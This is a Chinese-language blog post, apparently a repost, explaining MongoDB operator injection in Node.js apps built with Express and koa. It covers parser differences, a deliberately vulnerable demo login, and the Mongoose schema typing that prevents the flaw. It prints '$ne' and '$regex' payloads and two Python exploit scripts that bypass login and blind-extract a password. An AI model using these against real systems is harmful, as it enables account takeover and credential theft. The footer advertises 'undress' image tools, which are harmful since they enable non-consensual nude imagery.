Mongodb Injection in Node.js Web Framework
The difference between Express and koa Express 和 koa 都是 Node.js 的 Web 框架,相比较 Express,koa 使用了 generator 作为中间件,减少了大量的 callback,更加轻量一些。在对于不同的 HTTP Method,譬如 GET、POST 的数据的处理上,Express 的行为和
The difference between Express and koa
Express 和 koa 都是 Node.js 的 Web 框架,相比较 Express,koa 使用了 generator 作为中间件,减少了大量的 callback,更加轻量一些。在对于不同的 HTTP Method,譬如 GET、POST 的数据的处理上,Express 的行为和 koa 有一些差异。
GET
在对于 GET 的处理上,Express 和 koa 的一个显著的不同就是:
<code>test[1]=a&test[2]=b </code>
Expres 的 req.query
会把 test 处理成 Object:
<code>{ test: [ 'a', 'b' ] } </code>
koa 的 this.request.query
却不会:
<code>{ 'test[1]': 'a', 'test[2]': 'b' } </code>
在这种情况下,koa 可以避免在 QueryString 内的 Mongodb Injection。
POST
在 POST 中,当 Content-Type 为 application/x-www-form-urlencoded
时,Express和 koa 的行为也是不相同的,对于:
<code>test[a]=123&test[b]=456 </code>
Express 的 req.body
解析后的结果为:
<code>{ 'test[a]': '123', 'test[b]': '456' } </code>
koa co-body
处理后解析后的结果为:
<code>{ test: { a: '123', b: '456' } } </code>
当 Content-Type 为 multipart/form-data
时,对于:
<code>------WebKitFormBoundaryxUTB0WY8QmAfDBIp Content-Disposition: form-data; name="test[a]" 123 ------WebKitFormBoundaryxUTB0WY8QmAfDBIp Content-Disposition: form-data; name="test[b]" 456 ------WebKitFormBoundaryxUTB0WY8QmAfDBIp-- </code>
Express 利用 multiparty 解析的结果为:
<code>{ 'test[a]': [ '123', '456' ], 'test[b]': [ '789' ] } </code>
koa 如果用 multiparty 解析的话,结果相同。
最后,当 Content-Type 为 application/json
时,Express 和 koa 在结果上时相同的,对于:
<code>{"test1": 1, "test2": {"test": "hello"}} </code>
解析结果都为:
<code>{ test1: 1, test2: { test: 'hello' } } </code>
另外的 PUT、DELETE 等方法我们不做考虑。
其实这里引入一个 RESUful 的概念,现代 API 多是追求 RESTful 的 API 设计,对于 Web 和 App 有统一的一套接口,然后衍生出一系列所谓“前后端分离”的概念,也出现了许多 JavaScript 框架,AngularJS 就是这样的。AngularJS 和后端通信的方式就是上述 POST 中最后一种,直接 POST JSON 到后端,然后后端进行解析,所以说在这种解析的过程中就会出现一系列的问题,最主要的还是 Mongodb Injection。
Mongodb Injection in Express
这个其实是很常见的问题了,因为攻击威力小,而且开发者稍加注意就可以避免,所以 Mongodb Injection 一直就是不温不火。
对于 Mongodb 的注入,目前可以做到的事 Authenticate Bypass,以及 Blind Injection。比较鸡肋的是 Blind Injection 只能对已知字段进行注入。
我用 Node.js + Mongodb 写了一个简单的登陆系统,当然是有漏洞的,主要是来研究一下漏洞的成因,以及如何避免。
项目地址:https://github.com/RicterZ/simpleLogin
Bypass Login Directly in Express
/controllers/user.js
<code>LoginHandler.login = function (request, response) { var user = new User({ username: request.body.username, password: request.body.password }); user.login(function (err, user) { if (err) { response.status(500).json({message: err.toString()}) return; }; if (!user) { response.status(401).json({message: 'Login Fail'}); return; }; response.status(200).json({user: 'Hello ' + user.username}); }); }; </code>
此处我们将用户传入的 password 直接带入 User 的 Model,进而调用 login 方法。
/model/users.js
<code>User.prototype.login = function (callback) { var _user = { username: this.username, password: this.password }; db.open(function (err, db) { if (err) return callback(err); db.collection('users', function (err, collection) { if (err) { db.close(); return callback(err); }; collection.findOne(_user, function (err, user) { // Injection // do stuff }); }); }); } </code>
由于此处我们提交的数据为:
<code>{"username": "test", "password": {"$ne": 1} </code>
Express 处理后变成一个 JSON Condition 然后进入 Mongodb 的查询中,所以我们可以直接 Bypass 验证,进入 test 的账户。
Login Blind Injection in Express
/controller/user.js
<code>LoginHandler.login2 = function (request, response) { var user = new User({ username: request.body.username, password: request.body.password }); user.login(function (err, user) { if (err) { response.status(500).json({message: err.toString()}) return; }; if (!user) { response.status(401).json({message: 'User not exist'}); return; }; if (user.password === request.body.password) { response.status(200).json({user: 'Hello ' + user.username}); } else { response.status(401).json({message: 'Password is not correct'}); }; }); }; </code>
此处和上面不同的是我们验证了密码,如果未获取到用户则显示 User not exist,如果密码和数据库里储存的密码不同则显示 Password is not correct。利用此处的差异我们可以 Blind Injection 出数据库储存的密码为多少。
利用 Mongodb 里的正则表达式:
<code>{"username": "test", "password": {"$regex": "^1"}} </code>
如果开头的字母为 1,则显示 Password is not correct,如果不为 1,则显示 User not exist。第一位猜测完毕后继续猜解第二位:
<code>{"username": "test", "password": {"$regex": "^11"}} </code>
重复上述步骤直至猜解结束。
Exploit
0x01
Code:
<code>import urllib2 request = urllib2.Request('http://localhost:3000/login', '{"username": "ricter", "password": {"$ne": 1}}', headers={"Content-Type": "application/json"}) print urllib2.urlopen(request).read() </code>
Result:
0x02
Code:
<code>import sys import urllib2 def req(url, data): try: request = urllib2.Request(url, data, headers={'Content-Type': 'application/json'}) return urllib2.urlopen(request).read() except urllib2.HTTPError, e: return e.read() url = 'http://localhost:3000/login2' FLAG_USER_NOT_EXIST = 'User not exist' FLAG_PASSWORD_INCORRECT = 'Password is not correct' chars = '9876503412' payload = '{"username": "ricter","password": {"$regex": "^%s"}}' password = '' while 1: for i in chars: resp = req(url, payload % (password + i)) if FLAG_PASSWORD_INCORRECT in resp: password += i print password break elif FLAG_USER_NOT_EXIST in resp: pass if i == chars[-1]: print password sys.exit(0) </code>
Result:
Express with Mongoose
常见的 Node.js 的 Web 应用中,还有一种常见的搭配就是利用 Mongoose 来进行数据的 CRUD。
具体代码参见 simpleLogin 的 mongoose 分支。
使用 Mongoose 我们可以定义每个 document 的 field 的数据类型:
<code>var _User = new db.Schema({ username: String, password: String, apikey: String }); </code>
这样的话,我们传入:
<code>{"username": "ricter","password": {"$ne": 1}} </code>
实际上查询的时候会被转变成:
<code>{ username: 'ricter', password: undefined } </code>
所以不会造成 Mongodb Injection。
At the end
Node.js 的 Webapp,我本人比较倾向于 koa+mongoose,可以避免一些 Mongodb 的注入的问题,以及代码看起来更为优雅一些。
当然,\Python 大法好/
原文地址:Mongodb Injection in Node.js Web Framework, 感谢原作者分享。

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

記事本++7.3.1
好用且免費的程式碼編輯器

SublimeText3漢化版
中文版,非常好用

禪工作室 13.0.1
強大的PHP整合開發環境

Dreamweaver CS6
視覺化網頁開發工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

在開發一個電商網站時,我遇到了一個棘手的問題:如何為用戶提供個性化的商品推薦。最初,我嘗試了一些簡單的推薦算法,但效果並不理想,用戶的滿意度也因此受到影響。為了提升推薦系統的精度和效率,我決定採用更專業的解決方案。最終,我通過Composer安裝了andres-montanez/recommendations-bundle,這不僅解決了我的問題,還大大提升了推薦系統的性能。可以通過一下地址學習composer:學習地址

直接通過 Navicat 查看 MongoDB 密碼是不可能的,因為它以哈希值形式存儲。取回丟失密碼的方法:1. 重置密碼;2. 檢查配置文件(可能包含哈希值);3. 檢查代碼(可能硬編碼密碼)。

CentOS系統上GitLab數據庫部署指南選擇合適的數據庫是成功部署GitLab的關鍵步驟。 GitLab兼容多種數據庫,包括MySQL、PostgreSQL和MongoDB。本文將詳細介紹如何選擇並配置這些數據庫。數據庫選擇建議MySQL:一款廣泛應用的關係型數據庫管理系統(RDBMS),性能穩定,適用於大多數GitLab部署場景。 PostgreSQL:功能強大的開源RDBMS,支持複雜查詢和高級特性,適合處理大型數據集。 MongoDB:流行的NoSQL數據庫,擅長處理海

CentOS系統下MongoDB高效備份策略詳解本文將詳細介紹在CentOS系統上實施MongoDB備份的多種策略,以確保數據安全和業務連續性。我們將涵蓋手動備份、定時備份、自動化腳本備份以及Docker容器環境下的備份方法,並提供備份文件管理的最佳實踐。手動備份:利用mongodump命令進行手動全量備份,例如:mongodump-hlocalhost:27017-u用戶名-p密碼-d數據庫名稱-o/備份目錄此命令會將指定數據庫的數據及元數據導出到指定的備份目錄。

MongoDB與關係型數據庫:深度對比本文將深入探討NoSQL數據庫MongoDB與傳統關係型數據庫(如MySQL和SQLServer)的差異。關係型數據庫採用行和列的表格結構組織數據,而MongoDB則使用靈活的面向文檔模型,更適應現代應用的需求。主要區別數據結構:關係型數據庫使用預定義模式的表格存儲數據,表間關係通過主鍵和外鍵建立;MongoDB使用類似JSON的BSON文檔存儲在集合中,每個文檔結構可獨立變化,實現無模式設計。架構設計:關係型數據庫需要預先定義固定的模式;MongoDB支持

要設置 MongoDB 用戶,請按照以下步驟操作:1. 連接到服務器並創建管理員用戶。 2. 創建要授予用戶訪問權限的數據庫。 3. 使用 createUser 命令創建用戶並指定其角色和數據庫訪問權限。 4. 使用 getUsers 命令檢查創建的用戶。 5. 可選地設置其他權限或授予用戶對特定集合的權限。

在Debian系統上為MongoDB數據庫加密,需要遵循以下步驟:第一步:安裝MongoDB首先,確保您的Debian系統已安裝MongoDB。如果沒有,請參考MongoDB官方文檔進行安裝:https://docs.mongodb.com/manual/tutorial/install-mongodb-on-debian/第二步:生成加密密鑰文件創建一個包含加密密鑰的文件,並設置正確的權限:ddif=/dev/urandomof=/etc/mongodb-keyfilebs=512

MongoDB適合非結構化數據和高擴展性需求,Oracle適合需要嚴格數據一致性的場景。 1.MongoDB靈活存儲不同結構數據,適合社交媒體和物聯網。 2.Oracle結構化數據模型確保數據完整性,適用於金融交易。 3.MongoDB通過分片橫向擴展,Oracle通過RAC縱向擴展。 4.MongoDB維護成本低,Oracle維護成本高但支持完善。
